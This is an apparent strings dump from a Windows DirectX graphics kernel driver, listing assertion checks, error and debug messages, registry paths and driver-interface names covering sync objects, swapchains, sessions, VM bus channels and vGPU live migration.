0x%I64x fails to get the size for VisRgnData from 0x%I64x m_SubRectCnt RealSize <= RgnDataSize m_pVisRgnData NULL != m_hStagingBufferAllocation Failed to allocate Vista BLT stub info ((! bFullscreen) || (m_hFullscreenDc)) bSpriteLockTaken == NULL !m_Acquired !m_pRenderCore->m_PresentMutex.IsOwner() pToken m_PresentHistoryTail < D3DKMT_GETPRESENTHISTORY_MAXTOKENS m_PresentHistoryRead < D3DKMT_GETPRESENTHISTORY_MAXTOKENS m_PresentHistoryHead < D3DKMT_GETPRESENTHISTORY_MAXTOKENS m_pDisplayCore != NULL (! (m_pDisplayCore->IsCoreResourceSharedOwner() || m_pDisplayCore->IsCoreResourceExclusiveOwner())) m_pDisplayCore->IsCoreResourceExclusiveOwner() (pOwnerDevice == NULL) || ((pOwnerDevice->GetDisplayAdapter(VidPnSourceId) == m_pDisplayCore->GetAdapter()) && (pOwnerDevice->GetRenderCore()->IsCoreResourceExclusiveOwner())) Status=0x%I64x Device 0x%I64x: PinPrimaryAllocations failed 0x%I64x m_PrimaryDescription[VidPnSourceId].Pinned (FALSE == m_u.s.bStateSaved) Status=0x%I64x Adapter 0x%I64x: UpdateModeWithPrimary failed 0x%I64x 0x%I64x Failed to allocate DXGPROCESS Failed to set thread PsTls for DXGTHREAD 0xI64x (Status = 0xI64x). m_ExecutionState == EXECUTION_STOPPED m_DecommittableBytes == 0 IsMutexOwner() nullptr == m_pVailObjectRef WIN://BGKD ExGetPreviousMode() == UserMode expandedResources hevcPlayback DXGPROCESS (0x%I64x) failed to allocate m_pNonPagedData \REGISTRY\MACHINE\OSDATA\Software\Microsoft\Durango\LiveSettings\HevcOverride MaximumGlobalAdapterCount > 0 m_pNonPagedData->m_pVidSchProcess[DXGMMSVersion] == NULL m_pNonPagedData->m_pVidMmProcess[DXGMMSVersion] == NULL pAdapter->IsRenderAdapter() DXGGLOBAL::GetGlobal()->GetVidSchExport(DXGMMSVersion) != NULL pProcess->IsVmProcess() pAdapter->IsDisplayAdapter() !IsVailProcess() EntryType == HMGRENTRY_TYPE_FREE Failed to open vidmm process adapter info for adapter 0x%I64x. Status: 0x%I64x DXGGLOBAL::GetGlobal()->GetSessionData() Failed to create Pasid domain: 0x%I64x pAdapter->AllowInSessionIsolatedContainer() Failed to initialize PASIDs for the adapter 0x%I64x. Status: 0x%I64x pAdapterInfo->AdapterInfoReferenceCount > 0 pAdapterInfo != nullptr pDxgAdapter pRenderCore == pAdapterInfo->pRenderCore pAdapterToFlush Failed to open process handle for process id 0x%I64x DXGGLOBAL::GetGlobal()->IsProcessCalloutMutexOwner() pDxgProcess->GetEProcess() == pEProcess pEProcess !pProcess->IsMutexOwner() D3DKMTCacheHybridQueryValue called with a display-only adapter with LUID (0x%I64x%08I64x). Invalid D3DKMT_HYBRID_LIST QueryType! pAdapter != NULL Invalid DxgProcess state! Device removal support has been specified before, returning 0x%I64x It is invalid to specify device removal support after device creation, returning 0x%I64x Failed to allocate DXGVIRTUALMACHINE ApplyCsFunctionAdapterCallback:: Unsupported fn Type: %d Failed to create VidMm and VidSch processes: 0x%I64x m_bInitialized == FALSE DXGVAILOBJECT::Create failed: 0x%I64x CreateVmBusChannel failed: 0x%I64x DXGVAILOBJECT::UpdateVmBus failed: 0x%I64x DXGVAILOBJECT::InitializeVmBus failed: 0x%I64x MDL size doesn't match: Expected = 0x%I64x, Actual = 0x%I64x MapGpadl failed (0x%I64x) m_VirtualMachineLock.IsExclusiveOwner() Too many VM processes created Failed to allocate pPasidDevices array Failed to create Pasid device for adapter 0x%I64x. Status: 0x%I64x Failed to get PASID for the adapter 0x%I64x. Status: 0x%I64x NtDxgkEnumProcesses: Failed to read input parameters Failed to attach Pasid device for adapter 0x%I64x. Status: 0x%I64x NtDxgkEnumProcesses: Failed to write PID to user buffer DxgkThreadObjectCreateDxgThread failed NtDxgkEnumProcesses: Failed to write total process count to output adapterOrdinal < DripsBlockerMaxAdapters m_OpenAdapterLock.IsExclusiveOwner() m_VailMutex.IsOwner() Out of memory allocating 0x%I64x bytes for private driver data, returning 0x%I64x function is called on a render only device (0x%I64x), returning 0x%I64x. Out of memory allocating 0x%I64x bytes for private runtime data, returning 0x%I64x 0x%x object belongs to a different device 0x%p that 0x%p passed. Invalid sync object, process 0x%I64x, handle 0x%I64x not NT shared fence: Protected session's sync object 0x%I64x does not use NT security sharing. Returning 0x%I64x. not monitored fence object, process 0x%I64x, handle 0x%I64x pSyncObject == NULL pProtectedSession == NULL pKMPrivateRuntimeData == NULL pKMPrivateDriverData == NULL KMCreateProtectedSession.hHandle c > 0 NULL == KMOpenProtectedSessionFromNtHandle.hHandle pSharedProtectedSessionObject->pProtectedSession ppProtectedSession KMOpenProtectedSessionFromNtHandle.hHandle !GetAdapter()->IsCoreResourceSharedOwner() ADAPTER_DISPLAY 0x%I64x: Unable to allocate protected session object, returning 0x%I64x c == 0 !GetAdapter()->IsCoreResourceExclusiveOwner() !pThis->GetAdapter()->IsCoreResourceExclusiveOwner() !pThis->GetAdapter()->IsCoreResourceSharedOwner() phHandle !m_pSyncObject->IsParavirtualized() 0 != m_cReference D3DDDI_MONITORED_FENCE == GetSyncObjectType() NULL == m_hDriverHandle 0 == m_cReference false == m_bDelaySignal EXECUTION_STOPPED == m_ExecutionState Failed to create new activity ID, hack to just increment current Id to make new m_CurrentType != DXGK_RAPID_HPD_NONE Failed to create remote VSync event m_pEmulation == NULL Failed to start remote VSync emulation, status 0x%I64x Failed to create remote VSync emulation class m_pVSyncEvent Failed to allocate new entry Host failed to update monitor mapping for Adapter LUID 0x%08I64x%08I64x, target id 0x%I64x, status 0x%I64x VmBus not connected so cannot redirect Failed to allocate DXGKVMB_SINGLEPACKETCONTEXT m_Lock.IsExclusiveOwner() RenderKm and RenderKmReadback flags should not be set when DxgkRender is called. Context 0x%I64x returning 0x%I64x 0x%I64x 0x%I64x encountered exception returning 0x%I64x BroadcastContextArray.Get()[i + 1]->UsesGpuVa() == FALSE Hardware context LDA render is not provided with hardware queue array Hardware context render is not provided with hardware queue array PresentRedirected is invalid from virtual machine The allocation handle is invalid 0x%I64x fails as specified BroadcastContextCount 0x%I64x exceeds limit 0x%I64x or is zero. returning 0x%I64x DXGCONTEXT 0x%p is hardware scheduled and should not be passed to SubmitCommandCb. Out of memory - failed to allocate the broadcast context array Failed to created paged pool array for history buffer array 0x%I64x The context does not support virtual addressing. hContext 0x%I64x returning 0x%I64x History buffer 0x%p device 0x%p does not match context device 0x%p. Invalid history buffer handle provided to SubmitCommand. D3DKMT_HANDLE=0x%8x pDevice == NULL || pAdapter->IsCoreResourceSharedOwner() SignalByKmd cannot be used with CrossAdapter or Shared Failed to get pairing adapters from adapter 0x%I64x (Status 0x%I64x)! VmBusSendCreateSyncObject failed, returning 0x%I64x Invalid refresh rate for VidPnSourceId: %d when creating a periodic monitored fence Invalid VidPnTargetId %d specified when creating a periodic monitored fence pContext->GetRenderCore()->IsCoreResourceSharedOwner() !IsListEmpty(&pCrossAdapterSyncObject->m_DxgSyncObjectSyncObjectListHead) pDxgContext->GetRenderCore()->IsCoreResourceSharedOwner() DxgkImmediateSignalSynchronizationObjectByReference failed for synch object: 0x%I64x, Status: %I64x m_hSyncObjHandle == NULL Sync object and context must both be paravirtualized, sync object: 0x%I64x, context: 0x%I64x m_pVidSchSyncObject == NULL m_cReference == 0 Failed to allocate memory for DXG_SIGNAL_GUEST_CPU_EVENT WSL CPU event is NULL NULL == m_pVidSchSyncObject SyncObj 0x%I64x: Unable to create synchronization object handle, returning 0x%I64x Failed to allocate memory for m_pKmdSignalCpuEvent DXGDEVICE: 0x%I64x | DdiCreateNativeFence failed with Status = 0x%I64x pSyncAdapter != nullptr IsCrossAdapterSyncObject() Mismatch RenderCore with 0x%I64x (0x%I64x vs 0x%I64x), returning 0x%I64x When opening a synchronization object, the NoGPUAccess flag specified at open time must match the flag specified at creation time. NativeFenceOpenedAsMonitoredFence == FALSE || MonitoredFenceOpenedAsNativeFence == FALSE pSyncObject 0x%I64x: Failed to allocate device sync object, returning 0x%I64x pDevice != NULL && pRenderCore != NULL pSyncObject 0x%I64x: Fail to allocate per process handle, returning 0x%I64x DXGGLOBAL::GetGlobal()->IsSyncObjectLockSharedOwner() DXGGLOBAL::GetGlobal()->IsSyncObjectLockExclusiveOwner() pSyncObject != NULL !IsSyncObjectLockExclusiveOwner() IsSyncObjectLockExclusiveOwner() phSyncObject ppSyncObject hDevice 0x%I64x failed to acquire hKeyedMutex 0x%I64x returning 0x%I64x IsSyncObjectLockSharedOwner() hKeyedMutex = 0x%I64x failed to release pKeyedMutex 0x%I64x returning 0x%I64x m_pPrivateRuntimeData == NULL KeyedMutex 0x%I64x: Out of memory allocating m_PrivateRuntimeData of size 0x%I64x, returning 0x%I64x pFenceValue OpenForUserMode == true (pKeyedMutex->m_OwnershipState == STATE_EVENT_SIGNALLED) || (pKeyedMutex->m_OwnershipState == STATE_PENDING_RELEASE) ppKeyedMutex != NULL phKeyedMutex != NULL phKeyedMutex ppKeyedMutex pKeyedMutex != NULL pSharedKeyedMutexObject 0x%I64x object is opened as signal only and thus cannot be waited on. 0x%I64x passed an invalid wait for hSyncObject 0x%I64x at index %I64d returning 0x%I64x 0x%x object belongs to a different device 0x%p that 0x%p passed to the wait from CPU call. 0x%x object adapter state has been destroyed, so it cannot be waited on. pDevice->GetRenderCore() != NULL pSignalSyncObject->ObjectCount > 0 pSyncObject->GetDevice()->GetRenderAdapter()->IsCoreResourceSharedOwner() 0x%I64x object is opened as wait only and thus cannot be signaled. 0x%x object adapter state has been destroyed, and it cannot be signaled. DXGDEVICE 0x%I64x for DXGDEVICESYNCOBJECT 0x%I64x at index 0x%I64d does not match expected DXGDEVICE 0x%I64x, returning 0x%I64x. Input hDevice (0x%I64x) has no render adapter, returning 0x%I64x VidSchSignalSyncObjectsFromCpu failed with return code 0x%I64x. Failed to allocate DXG_HOST_HANDLE_MAP hContext 0x%I64x can't signal zero object, returning 0x%I64x m_pVmwpProcess GetDevice()->GetRenderCore()->IsCoreResourceSharedOwner() No contexts were provided to signal. DXGDEVICE: 0x%I64x | DdiOpenNativeFence failed with Status = 0x%I64x CpuEventHandle should not be NULL when Flags.EnqueueCpuEvent is set. ObjectCount must be zero when Flags.EnqueueCpuEvent is set. pBroadcastDxgContext[0]->GetRenderCore()->IsCoreResourceSharedOwner() hContext 0x%I64x failed to signal with invalid broadcast context 0x%I64x at index %I64d returning 0x%I64x 0x%I64x failed to enqueue CPU event 0x%I64x returning 0x%I64x hContext 0x%I64x SignalSyncObject.Flags.Reserved is not Zero, but %I64d, returning 0x%I64x pSyncObject->GetSyncObjectType() != D3DDDI_PERIODIC_MONITORED_FENCE pSyncObject->GetSyncObjectType() != D3DDDI_MONITORED_FENCE Sync object 0x%I64x is created with SignalByKmd and cannot be signaled 0x%I64x mixes monitored fence and non-monitored fence sync objects in one signal call. pSyncObject->GetSyncObjectType() == D3DDDI_MONITORED_FENCE || pSyncObject->GetSyncObjectType() == D3DDDI_PERIODIC_MONITORED_FENCE || pSyncObject->GetSyncObjectType() == D3DDDI_NATIVE_FENCE 0x%I64x failed on signaling fence object 0x%I64x at non-1 object count %I64d returning 0x%I64x MonitoredFenceValueArray is NULL when signaling monitored fence objects pSyncObject->GetSyncObjectType() != D3DDDI_NATIVE_FENCE There should be at least one broadcast context passed to signal. Failed to acquire COREDEVICEACCESS for DXGDEVICE:0x%I64x, returning 0x%I64x GetSyncObjectType() == D3DDDI_FENCE Failed to take the adapter view ownership since adapter 0x%I64x%08I64x does not have the caller specified VidPn Source ID 0x%I64x, returning 0x%I64x. pSessionData->GetEProcessCSRSS() == PsGetCurrentProcess() Failed to remove the session ownership on VidPnSourceId 0x%I64x from DXGADAPTER 0x%I64x%08I64x, returning 0x%I64x. pSessionData->IsSessionModeChangeLockExclusiveOwner() Cannot find the DxgkEng function table for session 0x%I64x, returning 0x%I64x. NT_SUCCESS(DmmEnumClientVidPnPathTargetsFromSource( pDisplaySource->GetAdapter(), pDisplaySource->GetVidPnSourceId(), 1, &VidPnTargetId)) && (VidPnTargetId == D3DDDI_ID_UNINITIALIZED) pDisplaySource->GetDisplayCore()->IsVirtualTopologyEnabled() Cannot find the attached target from VidPn source 0x%I64x on adapter (0x%I64x%08I64x), returning 0x%I64x. Failed to find hash for VidPn source (0x%I64x) on adapter (0x%I64x%08I64x), status 0x%lx Cannot reserve GDI Id for VidPn number 0x%I64x, (Status = 0x%I64x) Cannot reserve any GDI Id, (Status = 0x%I64x) Failed to allocate work item for serialized work queue, returning 0x%I64x. (m_RefCount == 0) && (m_DisplayAdapter == NULL) && (m_DxgCddDevice == NULL) && (m_DxgCddContext == NULL) && (m_NumDisplaySources == 0) && (m_SourcesMask == 0) && IsListEmpty(&m_DisplaySourceListHead) Detected multiple reference leakage (0x%I64x) on session adapter for adapter 0x%I64x%08I64x AllowPairingChanged (pDisplaySource->m_pCddPrimaryAllocation[0] == NULL) && (pDisplaySource->m_pCddShadowAllocation == NULL) Detected multiple reference leakage (0x%I64x) on display source (0x%I64x) in session adapter for adapter 0x%I64x%08I64x Caller specified display source 0x%I64x is not owned by current session, returning 0x%I64x. Caller specified display source is owned by other session. TerminalServices-RemoteConnectionManager-WVD-Enabled \SystemRoot\System32\HostDriverStore\ \Registry\Machine\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services bEnumerateHWBeforeSW \Registry\Machine\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations fUseHardwareGPU DisableContainerSessionVersionCheck Failed to get session TTM support in session 0x%I64x (Status = 0x%I64x). 0 == m_cVailGuestReference Failed to create PnP event object for session 0x%I64x. IsListEmpty(&m_SessionAdapterListHead) nullptr == m_pVailGuestObject m_NumDeviceInBatch == 0 IsListEmpty(&m_SessionViewListHead) RtlNumberOfClearBits(&m_SessionAdapterOrdinalMap) == (MAX_SESSIONIZED_ADAPTERS_PER_SESSION) m_DwmProcess == nullptr Failed to allocate session adapter for adapter 0x%I64x%08I64x in session 0x%I64x. VidPn source 0x%I64x from adapter 0x%I64x%08I64x is owned by other session view in session 0x%I64x, returning 0x%I64x. (pSessionView == NULL) || (&pSessionView->GetOwnedSession() == this) VidPn source 0x%I64x from adapter 0x%I64x%08I64x is not in any session view in session 0x%I64x, returning 0x%I64x. Failed to send Remote Adapter Start WNF in session 0x%I64x, (Status=0x%I64x) Failed to expend PnP transition record array for session 0x%I64x (new NumRecords = 0x%I64x). Unable to allocate GDI View ID buffer for session 0x%I64x Exceeded the maximun GDI view ID, returning 0x%I64x. SessionAdapterOrdinal < MAX_SESSIONIZED_ADAPTERS_PER_SESSION i < m_NumSessionViewIds + m_NumPendingSessionViewIds Session 0x%I64x does not have session data, unable to get render adapter. IsListEmpty(&m_PnPTransitionTokenList) SessionId < m_SessionDataArraySize Session 0x%I64x does not have session data, unable to set render adapter. Unable to allocate dxg session data for session 0x%I64x m_pSessionData[SessionId] == NULL m_SessionMutex.IsOwner() m_pConsoleSessionData != pSessionData m_ArrayMutex.IsOwner() Failed to send Console Adapter Start WNF (Status=0x%I64x) Failed to allocate a new PnP transition token. Failed to get session data for session 0x%I64x, returning 0x%I64x. (pConsoleSessionData != NULL) && (pConsoleSessionData == m_pConsoleSessionData) DXGGLOBAL::GetGlobal()->GetSessionMgr()->IsTtmDeviceListLockOwner() Failed to get monitor CCD name length on adapter 0x%I64x target 0x%I64x (Status = 0x%I64x). !m_DeleteOnStop || !Wait Failed to report TTM device for target 0x%I64x on adapter 0x%I64x (Status = 0x%I64x). m_pOwnerAdapter != NULL !m_DeleteOnStop || IsListEmpty(&m_ListSessionMan) pThis != NULL m_pWaitEvent == NULL Batch sequence numbers are not match (0x%I64x : 0x%I64x), returning 0x%I64x. Cannot find the session data for current session 0x%I64x, returning 0x%I64x. Failed to allocate new batch buffer, size = 0x%I64x. Batch does not share same display state (0x%I64x : 0x%I64x), returning 0x%I64x. The display state from batch is not same as the one from flush (0x%I64x : 0x%I64x). Batch sequence numbers are not match (0x%I64x : 0x%I64x). Failed to notify brightness dimming on target 0x%I64x from device 0x%I64x, (Status = 0x%I64x). Failed to power off monitors on device 0x%I64x, (Status = 0x%I64x). Receieved unknown TTM display State 0x%I64x, returning 0x%I64x. Failed to power on monitors on device 0x%I64x, (Status = 0x%I64x). m_pConsoleSessionData == NULL j == 0 Failed to register TTM device for target 0x%I64x on adapter 0x%I64x to current console session 0x%I64x, (Status = 0x%I64x). pTmmDevice->m_pRegisteredSession == NULL m_pConsoleSessionData == pSessionData pTmmDevice->m_pRegisteredSession == m_pConsoleSessionData Workitem for creating TTM device 0x%I64x is called after the destroy work item. Caller specified invalid paramters, returing 0x%I64x. Failed to initialize TTM device for target 0x%I64x on adapter 0x%I64x, (Status = 0x%I64x). Caller specified invalid TTM device 0x%I64x. Workitem for destroying TTM device 0x%I64x is called before the creation work item. Failed to queue a Serialized work item to destroy TTM device for target 0x%I64x on adapter 0x%I64x, (Status = 0x%I64x). In non-sequence mode create has to be the producer In non-sequence mode create cannot have any surfaces, add surface should be used to add them Cannot create swapchain with zero buffers Caller requested 0x%I64x buffers, this is over the maximum Out of memory allocating DXGSWAPCHAIN class Out of memory allocating memory for handles array Failed to create Nt swapchain object (0x%I64x) Failed to acquire swapchain and device lock (0x%I64x) Either both surface count (0x%I64x) and handle table (0x%I64x) are both valid or both invalid Failed to create Nt handle for swapchain (0x%I64x) DxgkOpenSwapChain for non-sequential swapchain should not pass any handles Out of memory allocating memory for handles table DxgkAddSurfaceToSwapChain is not allowed for consumer Incorrect surface count (%I64d) supplied to DxgkOpenSwapChain (should be %I64d) RemoveSurface is not allowed for consumer DxgkAddSurfaceToSwapChain is not allowed for sequential swapchains DxgkUnOrderedPresentSwapChain is not allowed for sequential swapchains UnOrderedPresent is not allowed for consumer Inconsistent bProducer value between acquire and release Failed to allocate deferred list Caller specified non-zero free list size but failed to provide buffer pKmReleaseSwapChain->pMetaData == nullptr DxgkAcquireSwapChain is not allowed for non-sequential swapchain producer Failed to allocate surface queue Out of memory allocating ROTATING_BUFFER_IDX class m_ProducerInfo.pNtProcess == nullptr Failed to init queue. Returning 0x%I64x SwapChain (0x%I64x) - Attempt to open with a device that is not from the swap-chain's adapter. m_ConsumerInfo.pNtProcess == nullptr We not code currently to set event once busy surface is not busy User mode fences are not supported in this version of the swapchain Failed to open CPU signal event 0x%I64x process 0x%I64x Failed to duplicate Surface Nt handle 0x%I64x, error 0x%I64x Failed to verify Surface Nt handle 0x%I64x, error 0x%I64x Failed to open GPU fence 0x%I64x in process 0x%I64x Failed to open Fence Nt handle 0x%I64x, error 0x%I64x pKmOpen->SurfaceCount == m_ActiveSurfaceCo Failed to dup NT handle 0x%I64x into from creator process 0x%I64x, to process 0x%I64x, status 0x%I64x m_SwapChainLock.IsOwner() && pDevice->GetRenderCore()->IsCoreResourceSharedOwner() m_pSurfaceTable[Idx].SlotStatus != SLOT_AVAILABLE m_SurfaceTableSize == m_ActiveSurfaceCo Swapchain is at max number of surfaces so cannot add anymore CreateSynchronizationObjectInternal failed. Returning 0x%I64x Failed to allocate new surface table, size %ld Out of memory allocating AUTOEXPANDALLOCATION class Failed to share Fence Nt handle 0x%I64x, error 0x%I64x RemoveSurface is not allowed for sequential swapchains OpenSurfacesResourcesLocalForCreator failed Surface index (0x%I64x) is not in use by producer, current status (0x%I64x) Surface index (0x%I64x) is outside of the range of the table size (0x%I64x) UnOrderedPresent is not allowed for sequential swapchains Surface handle (0x%I64x) provided by caller does not match the handle (0x%I64x) for that index (0x%I64x) Failed to duplicate Fence Nt handle 0x%I64x, error 0x%I64x AcquireBuffer() failed with 0x%I64x for un-ordered present Release before acquire is only supported for consumers ReleaseBuffer() failed with 0x%I64x for un-ordered present pSurfaceClientInfo->hFenceUserModeDuplicated pSurfaceClientInfo->NextWaitFenceId Non-sequential swapchain client cannot provided metadata when releasing pRelease->pMetaData == nullptr Failed to insert GPU signal, swapchain 0x%I64x ReleaseBuffer caller (0x%I64x) does not own the swapchain 0x%I64x Failed to increment refcount on Process 0x%I64x Failed to allocate WorkItem to delayed close Nt Handle 0x%I64x Failed to add to surface to process queue, swapchain 0x%I64x ReleaseBuffer could not store the caller's (0x%I64x) metadata for swapchain (0x%I64x) pGetSetMetaData->pBuffer == nullptr SetMetaDataInternal caller (0x%I64x) overflow when calc used size SetMetaDataInternal caller (0x%I64x) passed in buffer size of zero Failed to expand metadata buffer size to 0x%lx !pClientInfo->bUserModeFences || IddPresent pClientInfo->pTempDevice !pClientInfo->bUserModeFences Swapchain 0x%I64x Failed to get context count for device 0x%I64x pDevice Caller only provided 0x%I64x entires in deferred free list, that was not enough. Swapchain 0x%I64x Shared resource does not have an allocation Could not get shared resource or render core Queue 0x%I64x has run out of space SurfaceIdx < m_SurfaceTableSize Owner == SWAPCHAIN_CLIENT_TYPE_CONSUMER Out of memory allocating memory for queue, size 0x%I64x Tracked workload not supported, returning 0x%I64x Device 0x%I64x: Failed to acquire device access, returning 0x%I64x ref == 1 TrackedWorkload 0x%I64x: Unable to find available entry, returning 0x%I64x Invalid index, returning 0x%I64x TrackedWorkload 0x%I64x: Unable to lock query result buffer, returning 0x%I64x Couldn't update fence, returning 0x%I64x TrackedWorkload 0x%I64x: Unable to find entry for pairID %d, returning 0x%I64x Unknown deadline type %d, returning 0x%I64x _DxgTriageCallbackRegisterSuccess == FALSE _DxgBugcheckCallbackRegisterSuccess == FALSE _DxgBugcheckCallbackRegisterSuccess Failed to initialize Triage Dump Data Array with status = 0x%I64x Failed to register Triage Dump Callback Failed ReferenceDwmProcess for session 0x%I64x, returning 0x%I64x. new failed. Returning 0x%I64x Invalid parameters. Returning 0x%I64x DXGK_Vail Fail on DxgkCreateRemoteCompositionSurfaceObjectForPairing. Returning 0x%I64x Fail to reference Dwm process. Returning 0x%I64x m_pSessionData->GetVailGuestMutex()->IsOwner() Fail on CompositionSurfaceObject::Pair. Returning 0x%I64x Failed to open process handle for process id 0x%I64x, return 0x%I64x Reconnect failed with (0x%I64x). Unable to get VAIL remote object interface Unable to get VAIL composition object Failed on waiting for VM bus channel to start: 0x%I64x VmbChannelEnable failed. Returning 0x%I64x FailEscapeDDI Level FailReserveGPUVA FailRenderDDI GraphicsDrivers\Validation ReportVirtualMachine \SystemRoot\System32\ ProcessName \SystemRoot\System32\csrss.exe m_pChannelStartEvent can't be allocated. Returning 0x%I64x IsListEmpty(&m_SubscriberList) EnsureClientVmBusInterface failed. Returning 0x%I64x EnsureServerVmBusInterface failed. Returning 0x%I64x VmbServerChannelInitSetTargetInterfaceId failed. Returning 0x%I64x VmbChannelAllocate failed. Returning 0x%I64x VmbServerChannelInitSetFlags failed. Returning 0x%I64x VmbServerChannelInitSetVmbusHandle failed. Returning 0x%I64x VmbChannelInitSetMaximumPacketSize failed. Returning 0x%I64x VmbClientChannelInitSetTargetPnp failed. Returning 0x%I64x VmbChannelInitSetProcessPacketCallbacks failed. Returning 0x%I64x VmbClientChannelInitSetRingBufferPageCount failed. Returning 0x%I64x VmbChannelInitSetStateChangeCallbacks failed. Returning 0x%I64x (RequestSize & 0x7) == 0 (reinterpret_cast(pRequest) & 0x7) == 0 (nullptr == pReturnBufferSize) || ((*pReturnBufferSize & 0x7) == 0) (reinterpret_cast(pReturnBuffer) & 0x7) == 0 Index < m_HandleTable.GetTableSize() ((DXGKVMBUS_PACKETHEADER*)pRequest)->SubscriberTag == SubscriberTag m_HandleTable.IsEmpty() m_HandleTableMutex.IsOwner() m_TableSize >= m_FreeCount vGPU API is called from wrong process Driver reports valid partitioning option %1, with status %2 DxgkDdiGetGpuPartitionInfo The GPU driver reported the profile for %1 partitions, with %2 virtualization flags and status %3 DxgkDdiGetVirtualGpuProfile DxgkDdiSetGpuPartitionCount The vGPU profile for capability %1 has min %2, max %3, optimal %4, and available %5 assignable slice units DxgkDdiCreateVirtualGpu Setting partition count to %1 returns %2. vGPU creation requested profile on capability %1 have min %2, max %3, and optimal %4 Creating vGPU with VFLUID %1, having %2 segments and %3 engines, Flags: %5 returns %4 vGPU creation requests framebuffer on segment %1 with size %2, alignment %3, from offset %4 to %5 vGPU creation returns engine %1 with min %2 partition units and max %3 partition units DxgkDdiDestroyVirtualGpu Attempt to delete a vGPU while KSR prepared is not supported DxgkDdiGetVirtualGpuInfo Destroying vGPU returns %1 VM initialization is configuring assignment of vGPU, returning %1 DxgkDdiSetVirtualGpuVmBus DxgkDdiQueryMitigatedRangeCount %d %d DxgkDdiQueryMitigatedRanges BAR %1 requests to have %2 mitigated ranges Mitigating range starting at base page %1 and extending %2 page(s) Queried %1 ranges to mitigate on BAR %2, returning %3 DxgkDdiGetMmioRangeCount DxgkDdiGetBackingResource DxgkDdiGetMmioRanges The driver has reported that BAR %1 has %2 MMIO ranges, returning %3 MMIO range starting at base page %1 (with physical page %2 and resource %3) has intercept flags %4 (read 0x1, write 0x2) and extending %5 page(s) Queried %1 MMIO ranges on BAR %2, returning %3 (VF, BlockId, Length) %d %d %d DxgkDdiWriteVirtualFunctionConfig DxgkDdiWriteVirtualFunctionBlock DxgkDdiReadVirtualFunctionBlock DxgkDdiQueryProbedBars %d - %d %d %d %d %d %d Querying probed BAR %1 gives base register value %2 with status %3 %d %d %d %d DxgkDdiResetVirtualFunction DxgkDdiGetDeviceLocation DxgkDdiSetVirtualFunctionPowerState ResetVirtualFunction called, returning %1 DxgkDdiGetResourceForBar SetVirtualFunctionPowerState called for power state %1 and wake set %2, returning %3 DxgkDdiQueryPhysicalFunctionLuid %d %d %d %d %d DxgkDdiQueryVirtualFunctionLuid PrepareLiveMigration: pLiveMigrationBuffersInfo is not large enough. LiveMigrationBufferCount: %d DxgkDdiQueryVirtualFunctionIndexByLuid DxgkDdiPrepareLiveMigration LUID: %d %d vfIndex: %d MigrationType: %d LUID: %d %d PrepareLiveMigration called on vf index %1, with status %2 DxgkDdiSaveImmutableMigrationData called with status %1 DxgkDdiSaveImmutableMigrationData DxgkDdiRestoreImmutableMigrationData called with status %1 DxgkDdiRestoreImmutableMigrationData DxgkDdiSaveMutableMigrationData called with status %1 DxgkDdiSaveMutableMigrationData DxgkDdiGetDirtyBitplane DxgkDdiRestoreMutableMigrationData DxgkLiveMigrationGetTransferSize DxgkDdiGetDirtyBitplane called with status %1 DxgkFillBufferWithDirty DxgkLiveMigrationGetTransferSize called with status %1 and transfer size %2 DxgkSendDirtyToVRAM DxgkFillBufferWithDirty called with status %1 DxgkLiveMigrationWaitForFence DxgkSendDirtyToVRAM called with status %1 DxgkDdiEndLiveMigration DxgkLiveMigrationWaitForFence called with status %1 DxgkUpdateInterruptMappings EndLiveMigration called with status %1 DxgkDdiWriteVirtualizedInterrupt UpdateInterruptMappings called with status %1 WriteVirtualizedInterrupt called with status %1 CreateVirtualGpu failed due to blocklist disallowing paravirtualization for a high security scenario SetGpuPartitionCount failed: 0x%I64x The driver model does not support secure virtual GPU Creating a paravirtualzed GPU without setting partition count Failed to enable IoMmu for virtual GPU. VirtualGpuType=%u, Secure=%u. Status=0x%.8x The driver does not support IOMMU isolation and does not bypass this requirement for secure mode Destroying invalid virtual GPU Only VVMS or VMWP process can destroy vGPU Partition is not found Failed to find vGPU by LUID Failed to create DXGPROCESS for VMWP process: 0x%I64x PrepareLiveMigration called for non GPUP vGPU. Luid: %d %d vGPU Type: %d Adapter: %d Invalid virtual GPU LUID: %d %d vGPU Type: %d Adapter: %d PrepareLiveMigration called on source side without an existing DXGPROCESS, returning STATUS_INVALID_PARAMETER RestoreImmutableMigrationData called for non GPUP vGPU. Luid: %d %d vGPU Type: %d Adapter: %d SaveImmutableMigrationData called for non GPUP vGPU. Luid: %d %d vGPU Type: %d Adapter: %d RestoreMutableMigrationData called for non GPUP vGPU. Luid: %d %d vGPU Type: %d Adapter: %d SaveMutableMigrationData called for non GPUP vGPU. Luid: %d %d vGPU Type: %d Adapter: %d LiveMigrationGetTransferSize called for non GPUP vGPU. Luid: %d %d vGPU Type: %d Adapter: %d LiveMigrationGetDirtyBitplane called for non GPUP vGPU. Luid: %d %d vGPU Type: %d Adapter: %d LiveMigrationWaitForFence called for non GPUP vGPU. Luid: %d %d vGPU Type: %d Adapter: %d LiveMigrationTransferDirtyContent called for non GPUP vGPU. Luid: %d %d vGPU Type: %d Adapter: %d UpdateInterruptMappings called for non GPUP vGPU. Luid: %d %d vGPU Type: %d Adapter: %d EndLiveMigration called for non GPUP vGPU. Luid: %d %d vGPU Type: %d Adapter: %d A virtual GPU with given LUID is not found: 0x%I64x 0x%I64x WriteVirtualizedInterrupt called for non GPUP vGPU. Luid: %d %d vGPU Type: %d Adapter: %d Failed to initialize and map Transport buffer PartitionId is greater that the number of available GPU partitions: 0x%I64x 0x%I64x The driver failed DxgkDdiWriteVirtualFunctionConfig. Status: 0x%I64x The driver failed DxgkDdiWriteVirtualFunctionConfigBlock. Status: 0x%I64x DdiWriteVirtualFunctionConfigBlock is not supported for paravirtualization: %I64n Failed to read PCI config space: %I64n Failed to initalize virtual machine Failed to setup VM worker process: 0x%I64x Invalid input buffer size: 0x%I64x VMWP process failed to reset Invalid output buffer size to read PCI config: 0x%I64x Invalid input buffer size to read PCI config: 0x%I64x DXGKVGPU_ESCAPE_TYPE_READ_PCI_CONFIG (offset, size) %d %d (offset, size) %d %d Invalid input buffer size to write PCI config: 0x%I64x Invalid input/output buffer size: 0x%I64x DXGKVGPU_ESCAPE_TYPE_WRITE_PCI_CONFIG DXGKVGPU_ESCAPE_TYPE_INITIALIZE DXGKVGPU_ESCAPE_TYPE_INITIALIZE called twice for vGPU 0x%I64x DXGKVGPU_ESCAPE_TYPE_POWERTRANSITIONCOMPLETE DXGKVGPU_ESCAPE_TYPE_RELEASE 